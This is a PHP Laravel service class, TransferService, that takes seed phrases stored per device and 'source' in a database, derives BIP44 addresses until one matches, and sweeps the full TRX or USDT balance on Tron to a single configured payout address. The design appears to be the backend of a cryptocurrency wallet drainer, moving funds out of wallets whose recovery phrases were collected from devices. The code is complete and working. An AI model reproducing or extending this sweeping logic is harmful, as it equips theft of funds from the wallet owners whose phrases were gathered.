177 lines
6.2 KiB
PHP
177 lines
6.2 KiB
PHP
<?php
|
|
|
|
namespace App\Services;
|
|
|
|
use App\Models\WalletAddress;
|
|
use App\Models\WalletMnemonic;
|
|
use App\Services\Chain\ChainDriver;
|
|
use App\Services\Chain\ChainManager;
|
|
use RuntimeException;
|
|
|
|
class TransferService
|
|
{
|
|
public function __construct(
|
|
private readonly ChainManager $chains,
|
|
) {}
|
|
|
|
/**
|
|
* Sweep from a known device address to the configured payout address.
|
|
* Looks up mnemonics by the address row's device_id + source; tries each in order
|
|
* (and BIP44 indexes) until the derived address matches $fromAddress.
|
|
* Null / empty $amount means transfer the full on-chain balance of $asset.
|
|
*
|
|
* @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string}
|
|
*/
|
|
public function handle(string $chain, string $fromAddress, ?string $amount = null, string $asset = 'USDT'): array
|
|
{
|
|
try {
|
|
$to = trim((string) config('coruna.transfer.to_address', ''));
|
|
if ($to === '') {
|
|
return ['ok' => false, 'error' => 'TRANSFER_TO_ADDRESS is not configured'];
|
|
}
|
|
|
|
$asset = strtoupper(trim($asset));
|
|
$driver = $this->chains->resolve($chain);
|
|
|
|
if (! $driver->isValidAddress($fromAddress)) {
|
|
return ['ok' => false, 'error' => 'Invalid from address'];
|
|
}
|
|
if (! $driver->isValidAddress($to)) {
|
|
return ['ok' => false, 'error' => 'Invalid TRANSFER_TO_ADDRESS'];
|
|
}
|
|
|
|
$amount = $amount === null ? null : trim($amount);
|
|
if ($amount === '') {
|
|
$amount = null;
|
|
}
|
|
|
|
if ($amount === null) {
|
|
$amount = $this->resolveFullBalance($driver, $fromAddress, $asset);
|
|
}
|
|
|
|
$this->assertAmountWithinLimit($amount, $asset);
|
|
|
|
$resolved = $this->resolveMnemonicForAddress($driver, $fromAddress);
|
|
if ($resolved === null) {
|
|
return ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)'];
|
|
}
|
|
|
|
['mnemonic' => $mnemonic, 'index' => $index] = $resolved;
|
|
|
|
$txid = match ($asset) {
|
|
'TRX' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
|
'USDT' => $driver->sendToken(
|
|
$mnemonic,
|
|
$index,
|
|
$to,
|
|
$amount,
|
|
(string) config('coruna.tron.usdt_contract'),
|
|
),
|
|
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
|
};
|
|
|
|
return [
|
|
'ok' => true,
|
|
'txid' => $txid,
|
|
'from' => $fromAddress,
|
|
'to' => $to,
|
|
'amount' => $amount,
|
|
'asset' => $asset,
|
|
];
|
|
} catch (\Throwable $e) {
|
|
return ['ok' => false, 'error' => $e->getMessage()];
|
|
}
|
|
}
|
|
|
|
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset): string
|
|
{
|
|
$balance = match ($asset) {
|
|
'TRX' => $driver->getNativeBalance($fromAddress),
|
|
'USDT' => $driver->getTokenBalance(
|
|
$fromAddress,
|
|
(string) config('coruna.tron.usdt_contract'),
|
|
),
|
|
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
|
};
|
|
|
|
if ($asset === 'TRX') {
|
|
$reserve = (string) config('coruna.transfer.trx_fee_reserve', '1');
|
|
if ($reserve !== '' && bccomp($reserve, '0') > 0) {
|
|
$balance = bcsub($balance, $reserve, 6);
|
|
$balance = rtrim(rtrim($balance, '0'), '.');
|
|
if ($balance === '' || str_starts_with($balance, '-')) {
|
|
$balance = '0';
|
|
}
|
|
}
|
|
}
|
|
|
|
if (bccomp($balance, '0') <= 0) {
|
|
throw new RuntimeException("No transferable {$asset} balance");
|
|
}
|
|
|
|
return $balance;
|
|
}
|
|
|
|
/**
|
|
* @return array{mnemonic: string, index: int}|null
|
|
*/
|
|
private function resolveMnemonicForAddress(ChainDriver $driver, string $fromAddress): ?array
|
|
{
|
|
$addressRows = WalletAddress::query()
|
|
->where('address', $fromAddress)
|
|
->orderBy('id')
|
|
->get(['device_id', 'source']);
|
|
|
|
if ($addressRows->isEmpty()) {
|
|
return null;
|
|
}
|
|
|
|
$maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20));
|
|
|
|
foreach ($addressRows as $row) {
|
|
$mnemonics = WalletMnemonic::query()
|
|
->where('device_id', $row->device_id)
|
|
->where(function ($q) use ($row) {
|
|
if ($row->source === null || $row->source === '') {
|
|
$q->whereNull('source')->orWhere('source', '');
|
|
} else {
|
|
$q->where('source', $row->source);
|
|
}
|
|
})
|
|
->orderBy('id')
|
|
->get();
|
|
|
|
foreach ($mnemonics as $mnemonicRow) {
|
|
$phrase = $mnemonicRow->mnemonic;
|
|
if ($phrase === null || trim($phrase) === '') {
|
|
continue;
|
|
}
|
|
for ($index = 0; $index <= $maxIndex; $index++) {
|
|
try {
|
|
if ($driver->deriveAddress($phrase, $index) === $fromAddress) {
|
|
return ['mnemonic' => $phrase, 'index' => $index];
|
|
}
|
|
} catch (\Throwable) {
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
private function assertAmountWithinLimit(string $amount, string $asset): void
|
|
{
|
|
if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount) || bccomp($amount, '0') <= 0) {
|
|
throw new RuntimeException('Invalid amount');
|
|
}
|
|
|
|
$maxKey = $asset === 'TRX' ? 'coruna.transfer.max_trx' : 'coruna.transfer.max_usdt';
|
|
$max = (string) config($maxKey, '0');
|
|
if ($max !== '' && $max !== '0' && bccomp($amount, $max) > 0) {
|
|
throw new RuntimeException("Amount exceeds max {$asset} limit ({$max})");
|
|
}
|
|
}
|
|
}
|